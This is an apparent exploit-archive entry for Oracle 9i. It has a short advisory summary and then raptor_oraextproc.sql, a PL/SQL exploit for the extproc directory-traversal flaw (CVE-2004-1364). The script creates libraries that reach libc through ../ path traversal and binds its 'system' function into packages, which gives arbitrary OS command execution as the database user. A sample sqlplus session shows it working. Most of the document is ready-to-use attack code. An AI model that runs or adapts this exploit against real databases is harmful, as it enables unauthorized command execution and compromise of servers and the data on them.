Oracle 9i - Multiple Unspecified Vulnerabilities

source: http://www.securityfocus.com/bid/10871/info



Reportedly, multiple unspecified Oracle products contain multiple unspecified vulnerabilities. 



The reported vulnerabilities include SQL-injection issues, buffer-overflow issues, and others. 



There have also been reports that issues covered in this BID and resolved in the referenced Oracle patch include trigger-abuse issues, character-set-conversion bugs, and denial-of-service vulnerabilities. More information is pending. 



Note that a number of unsupported versions of affected products may also potentially be vulnerable.



--

-- $Id: raptor_oraextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $

--

-- raptor_oraextproc.sql - command exec via oracle extproc

-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>

--

-- Directory traversal vulnerability in extproc in Oracle 9i and 10g 

-- allows remote attackers to access arbitrary libraries outside of the 

-- $ORACLE_HOME\bin directory (CVE-2004-1364).

--

-- This PL/SQL code exploits the Oracle extproc directory traversal bug

-- to remotely execute arbitrary OS commands with the privileges of the DBMS 

-- user (the CREATE [ANY] LIBRARY privilege is needed).

--

-- See also: 

-- http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql

-- http://www.0xdeadbeef.info/exploits/raptor_orafile.sql

--

-- Vulnerable platforms:

-- Oracle 9i (all versions?)

-- Oracle 10g versions prior to 10.1.0.3

--

-- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production,

-- running on both Solaris 9 and 10 systems. It will need some tweakings to 

-- properly work on other platforms.

--

-- Usage example:

-- $ echo $ORACLE_HOME

-- /opt/oracle/

-- $ sqlplus "/ as sysdba"

-- [...]

-- Connected to:

-- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production

-- With the Partitioning, OLAP and Oracle Data Mining options

-- JServer Release 9.2.0.1.0 - Production

-- SQL> @raptor_oraextproc.sql

-- [...]

-- exec oracmd32.exec('touch /tmp/32');

-- [...]

-- ERROR at line 1:

-- ORA-06520: PL/SQL: Error loading external library

-- ORA-06522: ld.so.1: extprocPLSExtProc: fatal:

-- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class:

-- ELFCLASS32

-- [...]

-- SQL> exec oracmd64.exec('touch /tmp/64');

-- SQL> !ls -l /tmp/64

-- -rw-r--r--   1 oracle   orainst        0 Dec 19 13:49 /tmp/64

--



-- library for 32-bit oracle releases

create or replace library exec_shell32 as

'$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1';

/



-- library for 64-bit oracle releases

create or replace library exec_shell64 as

'$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1';

/



-- package for 32-bit oracle releases

-- usage: exec oracmd32.exec('command');

create or replace package oracmd32 as

	procedure exec(cmdstring in char);

end oracmd32;

/

create or replace package body oracmd32 as

	procedure exec(cmdstring in char)

	is external

	name "system"

	library exec_shell32

	language c;

end oracmd32;

/



-- package for 64-bit oracle releases

-- usage: exec oracmd64.exec('command');

create or replace package oracmd64 as

	procedure exec(cmdstring in char);

end oracmd64;

/

create or replace package body oracmd64 as

	procedure exec(cmdstring in char)

	is external

	name "system"

	library exec_shell64

	language c;

end oracmd64;

/



-- milw0rm.com [2006-12-19]